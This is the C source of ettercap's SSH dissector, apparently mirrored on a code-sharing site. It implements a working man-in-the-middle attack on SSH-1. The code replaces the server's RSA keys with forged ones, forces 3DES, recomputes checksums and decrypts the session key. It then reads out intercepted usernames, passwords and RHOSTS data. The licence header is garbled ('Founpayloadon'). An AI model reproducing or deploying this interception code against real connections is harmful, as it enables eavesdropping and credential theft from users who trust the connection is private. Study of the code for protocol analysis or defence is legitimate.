ec_dissector_ssh.c
上传用户:nilegod
上传日期:2007-01-08
资源大小:220k
文件大小:20k
源码类别:

网络截获/分析

开发平台:

C/C++

  1. /*    ettercap -- dissector SSH
  2.     Copyright (C) 2001  ALoR <alor@users.sourceforge.net>, NaGA <crwm@freemail.it>
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Founpayloadon; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Founpayloadon, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
  14. */
  15. #include "include/ec_main.h"
  16. #ifdef HAVE_OPENSSL  // don't compile if you don't have OpenSSL
  17. #include <string.h>
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <errno.h>
  21. #include <arpa/nameser.h>
  22. #include <openssl/ssl.h>
  23. #include <openssl/rand.h>
  24. #include <ctype.h>
  25. #include "include/ec_dissector.h"
  26. #include "include/ec_inet_forge.h"
  27. #include "include/ec_inet_structures.h"
  28. #include "include/ec_error.h"
  29. #include "include/ec_decodedata.h"
  30. #ifdef DEBUG
  31.    #include "include/ec_debug.h"
  32. #endif
  33. #define STREAM_DATA 3000
  34. struct peer {
  35.     u_short source_port;
  36.     u_int   source_ip;
  37.     u_short dest_port;
  38.     u_int   dest_ip;
  39. };
  40. typedef struct {
  41.     RSA *myserverkey;
  42.     RSA *myhostkey;
  43.     int server_mod;
  44.     int host_mod;
  45.     struct ssh_my_key *next;
  46. } ssh_my_key;
  47. typedef struct {
  48.     struct peer match;
  49.     RSA *serverkey;
  50.     RSA *hostkey;
  51.     ssh_my_key *ptrkey;
  52.     void *state_source;
  53.     void *state_dest;
  54.     long int s_seq;
  55.     long int d_seq;
  56.     char d_stream[STREAM_DATA];
  57.     char s_stream[STREAM_DATA];
  58.     struct ssh_state *next;
  59. } ssh_state;
  60. struct des3_state
  61. {
  62.    des_key_schedule        k1, k2, k3;
  63.    des_cblock              iv1, iv2, iv3;
  64. };
  65. ssh_state *ssh_conn=NULL;
  66. ssh_my_key *ssh_conn_key=NULL;
  67. // protos
  68. FUNC_DISSECTOR(Dissector_ssh);
  69. static void put_bn(BIGNUM *bn, u_char **pp);
  70. static void get_bn(BIGNUM *bn, u_char **pp);
  71. static u_char *ssh_session_id(u_char *cookie, BIGNUM *hostkey_n, BIGNUM *serverkey_n);
  72. int Encrypt_state(u_char *pad, int len);
  73. void rsa_public_encrypt(BIGNUM *out, BIGNUM *in, RSA *key);
  74. void rsa_private_decrypt(BIGNUM *out, BIGNUM *in, RSA *key);
  75. void des3_decrypt(u_char *src, u_char *dst, int len, void *state);
  76. void *des3_init(u_char *sesskey, int len);
  77. // --------------------
  78. void *des3_init(u_char *sesskey, int len)
  79. {
  80.    struct des3_state *state;
  81.    state = malloc(sizeof(*state));
  82.    des_set_key((void *)sesskey, state->k1);
  83.    des_set_key((void *)(sesskey + 8), state->k2);
  84.    if (len <= 16)
  85.       des_set_key((void *)sesskey, state->k3);
  86.    else
  87.       des_set_key((void *)(sesskey + 16), state->k3);
  88.    memset(state->iv1, 0, 8);
  89.    memset(state->iv2, 0, 8);
  90.    memset(state->iv3, 0, 8);
  91.    return (state);
  92. }
  93. void des3_decrypt(u_char *src, u_char *dst, int len, void *state)
  94. {
  95.    struct des3_state *dstate;
  96.    dstate = (struct des3_state *)state;
  97.    memcpy(dstate->iv1, dstate->iv2, 8);
  98.    des_ncbc_encrypt(src, dst, len, dstate->k3, &dstate->iv3, DES_DECRYPT);
  99.    des_ncbc_encrypt(dst, dst, len, dstate->k2, &dstate->iv2, DES_ENCRYPT);
  100.    des_ncbc_encrypt(dst, dst, len, dstate->k1, &dstate->iv1, DES_DECRYPT);
  101. }
  102. int Encrypt_state(u_char *pad, int len)
  103. {
  104.     int i;
  105.     for (i=0; i<len; i++)
  106.       if (pad[i]!=0) return 1;
  107.     return 0;
  108. }
  109. static void put_bn(BIGNUM *bn, u_char **pp)
  110. {
  111.    short i;
  112.    i = BN_num_bits(bn);
  113.    PUTSHORT(i, *pp);
  114.    *pp+=BN_bn2bin(bn, *pp);
  115. }
  116. static void get_bn(BIGNUM *bn, u_char **pp)
  117. {
  118.    short i;
  119.    GETSHORT(i, *pp);
  120.    i = ((i + 7) / 8);
  121.    BN_bin2bn(*pp, i, bn);
  122.    *pp += i;
  123. }
  124. static u_char *ssh_session_id(u_char *cookie, BIGNUM *hostkey_n, BIGNUM *serverkey_n)
  125. {
  126.    static u_char sessid[16];
  127.    u_int i, j;
  128.    u_char *p;
  129.    i = BN_num_bytes(hostkey_n);
  130.    j = BN_num_bytes(serverkey_n);
  131.    if ((p = malloc(i + j + 8)) == NULL)
  132.       return (NULL);
  133.    BN_bn2bin(hostkey_n, p);
  134.    BN_bn2bin(serverkey_n, p + i);
  135.    memcpy(p + i + j, cookie, 8);
  136.    MD5(p, i + j + 8, sessid);
  137.    free(p);
  138.    return (sessid);
  139. }
  140. void rsa_public_encrypt(BIGNUM *out, BIGNUM *in, RSA *key)
  141. {
  142.    u_char *inbuf, *outbuf;
  143.    int len, ilen, olen;
  144.    olen = BN_num_bytes(key->n);
  145.    outbuf = malloc(olen);
  146.    ilen = BN_num_bytes(in);
  147.    inbuf = malloc(ilen);
  148.    BN_bn2bin(in, inbuf);
  149.    len = RSA_public_encrypt(ilen, inbuf, outbuf, key, RSA_PKCS1_PADDING);
  150.    BN_bin2bn(outbuf, len, out);
  151.    free(outbuf);
  152.    free(inbuf);
  153. }
  154. void rsa_private_decrypt(BIGNUM *out, BIGNUM *in, RSA *key)
  155. {
  156.    u_char *inbuf, *outbuf;
  157.    int len, ilen, olen;
  158.    olen = BN_num_bytes(key->n);
  159.    outbuf = malloc(olen);
  160.    ilen = BN_num_bytes(in);
  161.    inbuf = malloc(ilen);
  162.    BN_bn2bin(in, inbuf);
  163.    len = RSA_private_decrypt(ilen, inbuf, outbuf, key, RSA_PKCS1_PADDING);
  164.    BN_bin2bn(outbuf, len, out);
  165.    free(outbuf);
  166.    free(inbuf);
  167. }
  168. void reconstruct_stream(u_char *ibuf, short bufflen, u_char *obuf)
  169. {
  170.    u_short *fromhere;
  171.    short *datalen;
  172.    fromhere = (u_short *)(obuf);
  173.    memcpy(obuf + 4 + *fromhere, ibuf, bufflen);
  174.    *fromhere = 0;
  175.    datalen = (u_short *)(obuf + 2);
  176.    *datalen += bufflen;
  177. //#ifdef DEBUG
  178. // Debug_msg("ttt STREAM PUT %d %d -- %d", *fromhere, bufflen, *datalen);
  179. ////  Debug_msg("nn%snn", Decodedata_GetHexData(obuf+4, *datalen, 80));
  180. //#endif
  181. }
  182. int getfrom_stream(u_char *ibuf, u_char *obuf)
  183. {
  184.    u_short *fromhere;
  185.    short *datalen;
  186.    short ssh_len = 0;
  187.    short ssh_mod = 0;
  188.    fromhere = (u_short *)(ibuf);
  189.    datalen = (u_short *)(ibuf+2);
  190.    ssh_len = ntohl(ptohl(ibuf + 4 + *fromhere));
  191.    ssh_mod = 8 - (ssh_len % 8);
  192. //#ifdef DEBUG
  193. // Debug_msg("ttt GETFROM STREAM datalen %d -- form %d -- ssh %d", *datalen, *fromhere, ssh_len+ssh_mod+4);
  194. ////   Debug_msg("nn%snn", Decodedata_GetHexData(ibuf + 4 + *fromhere, len, 80));
  195. //#endif
  196.    *datalen -= (ssh_len+ssh_mod+4);
  197.    if (*datalen < 0)
  198.    {
  199. //#ifdef DEBUG
  200. // Debug_msg("ttt STREAM MOVE from %d  datalen %d  ssh %d -- newfrom %d", *fromhere, *datalen, ssh_len+ssh_mod+4, *datalen + ssh_len+ssh_mod+4);
  201. //#endif
  202.       memmove(ibuf + 4 , ibuf + 4 + *fromhere, *datalen + ssh_len+ssh_mod+4); // move the rest
  203.       *fromhere = *datalen + ssh_len+ssh_mod+4;
  204.       *datalen += ssh_len+ssh_mod+4;
  205. //#ifdef DEBUG
  206. // Debug_msg("ttt STREAM AFTER MOVE -- from %d  datalen %d ", *fromhere, *datalen);
  207. //#endif
  208.       return 0;
  209.    }
  210.    else
  211.    {
  212. //#ifdef DEBUG
  213. // Debug_msg("ttt STREAM GET from %d  datalen %d  ssh %d", *fromhere, *datalen, ssh_len+ssh_mod+4);
  214. //#endif
  215.       memcpy(obuf, ibuf + 4 + *fromhere, ssh_len+ssh_mod+4);
  216.       if (*datalen == 0)
  217.          *fromhere = 0;
  218.       else
  219.          *fromhere += ssh_len+ssh_mod+4;
  220.       return ssh_len+ssh_mod+4;
  221.    }
  222.    return 0;
  223. }
  224. FUNC_DISSECTOR(Dissector_ssh)
  225. {
  226.    TCP_header *tcp;
  227.    u_char *payload;
  228.    u_long ssh_len, ssh_mod, datalen, to_arrive;
  229.    u_int IPS, IPD;
  230.    u_short PORTS, PORTD;
  231.    static int initialized=0;
  232.    int direction=0;
  233. DATA_DISSECTOR;
  234.    if (!initialized) { SSL_library_init(); initialized=1; }
  235.    tcp = (TCP_header *) data;
  236.    if (Conn_Mode)
  237.    {
  238.        datalen = data_to_ettercap->datalen;
  239.        IPS = inet_addr(data_to_ettercap->ip_source);
  240.        IPD = inet_addr(data_to_ettercap->ip_dest);
  241.        PORTS = data_to_ettercap->source_port;
  242.        PORTD = data_to_ettercap->dest_port;
  243.    }
  244.    else
  245.    {
  246.        IPS = inet_addr(sniff_data_to_ettercap->ip_source);
  247.        IPD = inet_addr(sniff_data_to_ettercap->ip_dest);
  248.        PORTS = sniff_data_to_ettercap->source_port;
  249.        PORTD = sniff_data_to_ettercap->dest_port;
  250.        datalen = sniff_data_to_ettercap->datasize;
  251.    }
  252.    if (datalen==0) return 0;     // skip ack packets
  253.    payload = (u_char *)((u_long)tcp + tcp->doff * 4);
  254.    to_arrive = (u_long)payload+datalen;
  255.    ssh_len = ptohl(payload);
  256.    ssh_len = ntohl(ssh_len);
  257.    ssh_mod = 8 - (ssh_len % 8);
  258. #ifdef DEBUG
  259.    Debug_msg("t PAYLOAD DATALEN %d -- %d",  datalen, ssh_len+ssh_mod+4);
  260.    if (ssh_len > STREAM_DATA) Debug_msg("ttttttt to be reconstructed");
  261. // Debug_msg("nn%snn", Decodedata_GetHexData(payload, datalen, 80));
  262. #endif
  263.    // Find interesting packets
  264.    //if (ssh_len + 4 + ssh_mod <= datalen)
  265.    {
  266.       u_char ssh_packet_type, *p;
  267.       ssh_packet_type = *(payload+4+ssh_mod);
  268.       // Skip to binary data
  269.       p = payload+4+ssh_mod+1;
  270.       if ( Encrypt_state(payload+4, ssh_mod) )  // Crypted packets
  271.       {
  272.           ssh_state **index;
  273.           struct peer pckpeer;
  274.           // Setting peer
  275.           memset(&pckpeer,0,sizeof(pckpeer));
  276.           pckpeer.source_port= PORTS;
  277.           pckpeer.source_ip  = IPS;
  278.           pckpeer.dest_port  = PORTD;
  279.           pckpeer.dest_ip    = IPD;
  280.           // Find correct session
  281.           index = &ssh_conn;
  282.           while(*index != NULL && memcmp(&((*index)->match),&pckpeer,sizeof(pckpeer)))
  283.           index = (ssh_state **)&((*index)->next);
  284.           if ( (*index) != NULL )
  285.              direction=1;
  286.           else
  287.           {
  288.             // Setting peer
  289.             memset(&pckpeer,0,sizeof(pckpeer));
  290.             pckpeer.source_port= PORTD;
  291.             pckpeer.source_ip  = IPD;
  292.             pckpeer.dest_port  = PORTS;
  293.             pckpeer.dest_ip    = IPS;
  294.             // Find correct session
  295.             index = &ssh_conn;
  296.             while(*index != NULL && memcmp(&((*index)->match),&pckpeer,sizeof(pckpeer)))
  297.                 index = (ssh_state **)&((*index)->next);
  298.             if ( (*index) != NULL )
  299.                direction=2;
  300.           }
  301.           if (!direction) return 0; // Skip Crypted messages whith no session
  302.           // Continue for no 0padding in session key for damnPutty
  303.           if((*index)->state_source && (*index)->state_dest)
  304.           {
  305.             char pacchetto[MAX_DATA];
  306.             char packet[MAX_DATA];
  307.             u_char *stream;
  308.             short slen=0;
  309.             ssh_packet_type = 0;
  310.             if (!Conn_Mode)
  311.             {
  312.                sniff_data_to_ettercap->datasize=0;
  313.                memset(sniff_data_to_ettercap->data, 0, MAX_DATA);
  314.             }
  315.             if (datalen>MAX_DATA) return 0; // Is it possible?
  316.             // Simple workaround for duplicated packets
  317.             if (direction==1)
  318.             {
  319.                if( (*index)->s_seq && (*index)->s_seq == tcp->seq ) return 0;
  320.                (*index)->s_seq = tcp->seq;
  321.                reconstruct_stream(payload, datalen, (*index)->s_stream);
  322.                stream = (*index)->s_stream;
  323.             }
  324.             else
  325.             {
  326.                if( (*index)->d_seq && (*index)->d_seq == tcp->seq ) return 0;
  327.                (*index)->d_seq = tcp->seq;
  328.                reconstruct_stream(payload, datalen, (*index)->d_stream);
  329.                stream = (*index)->d_stream;
  330.             }
  331.             while ( (slen = getfrom_stream(stream, packet) ) > 0)
  332.             {
  333.                ssh_len = ptohl(packet);
  334.                ssh_len = ntohl(ssh_len);
  335.                ssh_mod = 8 - (ssh_len % 8);
  336. #ifdef DEBUG
  337.    Debug_msg("t STREAM DATALEN %d -- %d",  slen, ssh_len+ssh_mod+4);
  338.    //Debug_msg("nn%snn", Decodedata_GetHexData(packet, slen, 80));
  339. #endif
  340.                memset(pacchetto, 0, MAX_DATA);
  341.                // Simple workaround for duplicated packets
  342.                if (direction==1)
  343.                   des3_decrypt(packet+4, (u_char *)pacchetto, ssh_len+ssh_mod, (*index)->state_source);
  344.                else
  345.                   des3_decrypt(packet+4, (u_char *)pacchetto, ssh_len+ssh_mod, (*index)->state_dest);
  346. //#ifdef DEBUG
  347. // Debug_msg("t STREAM DECRYPTED %d -- %d",  slen, ssh_len+ssh_mod+4);
  348. // //Debug_msg("nn%snn", Decodedata_GetHexData(packet, slen, 80));
  349. //#endif
  350.                if (Conn_Mode)
  351.                {
  352.                   int len;
  353.                   len = ptohl(pacchetto+ssh_mod+1);
  354.                   len = htonl(len);
  355. //#ifdef DEBUG
  356. // Debug_msg("t conn_mode len = %d  ", len);
  357. //#endif
  358.                   if (pacchetto[ssh_mod]==4) // SSH_CMSG_USER
  359.                   {
  360.                      memcpy(data_to_ettercap->user,&pacchetto[ssh_mod+5],len);
  361.                      strcat(data_to_ettercap->user,"n");
  362.                   }
  363.                   if (pacchetto[ssh_mod]==9) // SSH_AUTH_PASSWORD
  364.                   {
  365.                      memcpy(data_to_ettercap->pass,&pacchetto[ssh_mod+5],len);
  366.                      strcat(data_to_ettercap->pass,"n");
  367.                   }
  368.                   if (pacchetto[ssh_mod]==5)
  369.                   {
  370.                      strcpy(data_to_ettercap->pass,"RHOSTS:");
  371.                      strncat(data_to_ettercap->pass,&pacchetto[ssh_mod+5],len);
  372.                      strcat(data_to_ettercap->pass,"n");
  373.                   }
  374.                   if (pacchetto[ssh_mod]==6)
  375.                      strcpy(data_to_ettercap->pass,"RSA AUTHn");
  376.                }
  377.                else
  378.                {
  379.                   if ((pacchetto[ssh_mod]>=16 && pacchetto[ssh_mod]<=18) ||
  380.                        pacchetto[ssh_mod] == 4 || pacchetto[ssh_mod] == 9)
  381.                   {   // print readable packets
  382.                      int len;
  383.                      len = ptohl(pacchetto+ssh_mod+1);
  384.                      len = htonl(len);
  385.                      sniff_data_to_ettercap->datasize+=len;
  386.                      if (sniff_data_to_ettercap->datasize < MAX_DATA)
  387.                         strncat(sniff_data_to_ettercap->data,&pacchetto[ssh_mod+5],len);
  388. #ifdef DEBUG
  389.    Debug_msg("t len = %d  -- ettercap len %d", len, sniff_data_to_ettercap->datasize);
  390.    //Debug_msg("nn%snn",Decodedata_GetAsciiData(sniff_data_to_ettercap->data, sniff_data_to_ettercap->datasize));
  391. #endif
  392.                   }
  393.                }
  394.             }  // end while
  395.             return 0;
  396.           }
  397.       }
  398.       else  // Plain text packets
  399.       if (ssh_packet_type==2 && Conn_Mode) //PUBLIC_KEY
  400.       {
  401.           ssh_state **index;
  402.           ssh_my_key **index2;
  403.           struct peer pckpeer;
  404.           int server_mod, host_mod;
  405.           u_char *q;
  406.           // Setting peer
  407.           memset(&pckpeer,0,sizeof(pckpeer));
  408.           pckpeer.source_port= PORTS;
  409.           pckpeer.source_ip  = IPS;
  410.           pckpeer.dest_port  = PORTD;
  411.           pckpeer.dest_ip    = IPD;
  412.           // Find correct session
  413.              index = &ssh_conn;
  414.              index2 = &ssh_conn_key;
  415.           while(*index != NULL && memcmp(&((*index)->match),&pckpeer,sizeof(pckpeer)))
  416.             index = (ssh_state **)&((*index)->next);
  417.           p+=8; q=p;
  418.           if (*index == NULL)
  419.           {
  420.             *index = (ssh_state *)calloc(1, sizeof(ssh_state));
  421.             memcpy(&((*index)->match), &pckpeer, sizeof(pckpeer));
  422.             (*index)->state_source=NULL;
  423.             (*index)->state_dest=NULL;
  424.             (*index)->serverkey = RSA_new();
  425.             (*index)->serverkey->n = BN_new();
  426.             (*index)->serverkey->e = BN_new();
  427.             (*index)->hostkey = RSA_new();
  428.             (*index)->hostkey->n = BN_new();
  429.             (*index)->hostkey->e = BN_new();
  430.             (*index)->s_seq=0;
  431.             (*index)->d_seq=0;
  432.             (*index)->next = NULL;
  433.             //  Get the RSA Key
  434.             GETLONG(server_mod,p);
  435.             get_bn((*index)->serverkey->e, &p);
  436.             get_bn((*index)->serverkey->n, &p);
  437.             GETLONG(host_mod,p);
  438.             get_bn((*index)->hostkey->e, &p);
  439.             get_bn((*index)->hostkey->n, &p);
  440.             while(*index2 != NULL && ( (*index2)->server_mod!=server_mod || (*index2)->host_mod!=host_mod))
  441.                 index2 = (ssh_my_key **)&((*index2)->next);
  442.             if (*index2==NULL)
  443.             {
  444.                *index2 = (ssh_my_key *)calloc(1,sizeof(ssh_my_key));
  445.                // Generate the new key
  446.                (*index2)->myserverkey=(RSA *)RSA_generate_key(server_mod, 35, NULL, NULL);
  447.                (*index2)->myhostkey=(RSA *)RSA_generate_key(host_mod, 35, NULL, NULL);
  448.                (*index2)->server_mod=server_mod;
  449.                (*index2)->host_mod=host_mod;
  450.                (*index2)->next = NULL;
  451.             }
  452.             (*index)->ptrkey=*index2;
  453.           }
  454.           *index2=(*index)->ptrkey;
  455.           // Put the new key
  456.           q+=4;
  457.           put_bn((*index2)->myserverkey->e, &q);
  458.           put_bn((*index2)->myserverkey->n, &q);
  459.           q+=4;
  460.           put_bn((*index2)->myhostkey->e, &q);
  461.           put_bn((*index2)->myhostkey->n, &q);
  462.           // Set the mask to 3DES
  463.           ptohl(payload+datalen-12) = htonl(8);
  464.           // recalculate SSH crc
  465.           ptohl(payload+datalen-4) = htonl(Inet_Forge_CRC(payload+4, datalen-8));
  466.           // recalculate TCP checksum
  467.           tcp->checksum = 0;
  468.           tcp->checksum = Inet_Forge_Checksum((unsigned short *)tcp, IPPROTO_TCP, datalen+(tcp->doff * 4), IPS, IPD);
  469.       }
  470.       //else
  471.       if (ssh_packet_type==3 && Conn_Mode) // SESSION_KEY
  472.       {
  473.           u_char cookie[8];
  474.           u_char sesskey[32];
  475.           u_char *temp_session_id, *q;
  476.           u_char session_id1[16], session_id2[16];
  477.           BIGNUM *enckey,*bn;
  478.           int i;
  479.           ssh_state **index;
  480.           ssh_my_key *index2;
  481.           struct peer pckpeer;
  482.           memset(&pckpeer,0,sizeof(pckpeer));
  483.           pckpeer.source_port= PORTD;
  484.           pckpeer.source_ip  = IPD;
  485.           pckpeer.dest_port  = PORTS;
  486.           pckpeer.dest_ip    = IPS;
  487.           // Find correct session
  488.           index = &ssh_conn;
  489.           while(*index != NULL && memcmp(&((*index)->match),&pckpeer,sizeof(pckpeer)))
  490.             index = (ssh_state **)&((*index)->next);
  491.           if (*index==NULL) return 0;
  492.           if (!(*index)->serverkey || !(*index)->hostkey)
  493.             return 0;
  494.           index2=(*index)->ptrkey;
  495.           p++; // Cypher type;
  496.           // Get the cookie
  497.           memcpy(cookie, p, 8);
  498.           p+=8; q=p;
  499.           // Calculate real session id and fake session id
  500.           temp_session_id=ssh_session_id(cookie, (*index)->hostkey->n,(*index)->serverkey->n);
  501.           memcpy(session_id1, temp_session_id, 16);
  502.           temp_session_id=ssh_session_id(cookie, (index2)->myhostkey->n,(index2)->myserverkey->n);
  503.           memcpy(session_id2, temp_session_id, 16);
  504.           // Get the session key
  505.           enckey = BN_new();
  506.           get_bn(enckey, &p);
  507.           // Decrypt session key
  508.           if (BN_cmp((index2)->myserverkey->n, (index2)->myhostkey->n) > 0)
  509.           {
  510.             rsa_private_decrypt(enckey, enckey, (index2)->myserverkey);
  511.             rsa_private_decrypt(enckey, enckey, (index2)->myhostkey);
  512.           }
  513.           else
  514.           {
  515.             rsa_private_decrypt(enckey, enckey, (index2)->myhostkey);
  516.             rsa_private_decrypt(enckey, enckey, (index2)->myserverkey);
  517.           }
  518.           BN_mask_bits(enckey, sizeof(sesskey) * 8);
  519.           i = BN_num_bytes(enckey);
  520.           memset(sesskey, 0, sizeof(sesskey));
  521.           BN_bn2bin(enckey, sesskey + sizeof(sesskey) - i);
  522.           BN_clear_free(enckey);
  523.           for (i = 0; i < 16; i++)
  524.             sesskey[i] ^= session_id2[i];
  525.           // SAVE SESSION_KEY
  526.           (*index)->state_source=des3_init(sesskey, sizeof(sesskey));
  527.           (*index)->state_dest  =des3_init(sesskey, sizeof(sesskey));
  528.           // ReCrypt Session Key
  529.           bn = BN_new();
  530.           BN_set_word(bn, 0);
  531.           for (i = 0; i < sizeof(sesskey); i++)
  532.           {
  533.             BN_lshift(bn, bn, 8);
  534.             if (i < 16) BN_add_word(bn, sesskey[i] ^ session_id1[i]);
  535.             else BN_add_word(bn, sesskey[i]);
  536.           }
  537.           if (BN_cmp((*index)->serverkey->n, (*index)->hostkey->n) < 0)
  538.           {
  539.             rsa_public_encrypt(bn, bn, (*index)->serverkey);
  540.             rsa_public_encrypt(bn, bn, (*index)->hostkey);
  541.           }
  542.           else
  543.           {
  544.             rsa_public_encrypt(bn, bn, (*index)->hostkey);
  545.             rsa_public_encrypt(bn, bn, (*index)->serverkey);
  546.           }
  547.              // Clear the session
  548.           RSA_free((*index)->serverkey);
  549.           RSA_free((*index)->hostkey);
  550.           (*index)->serverkey=NULL;
  551.           (*index)->hostkey=NULL;          // Put right Session Key in the packet
  552.           put_bn(bn, &q);
  553.           BN_clear_free(bn);
  554.           // recalculate SSH crc
  555.           ptohl(payload+datalen-4) = htonl(Inet_Forge_CRC(payload+4, datalen-8));
  556.           // recalculate TCP checksum
  557.           tcp->checksum = 0;
  558.           tcp->checksum = Inet_Forge_Checksum((unsigned short *)tcp, IPPROTO_TCP, datalen+(tcp->doff * 4), IPS, IPD);
  559.           strcpy(data_to_ettercap->type,"SSH decrypt");
  560.       }
  561.    }
  562.    return 0;
  563. }
  564. #endif   // HAVE_OPENSSL
  565. /* EOF */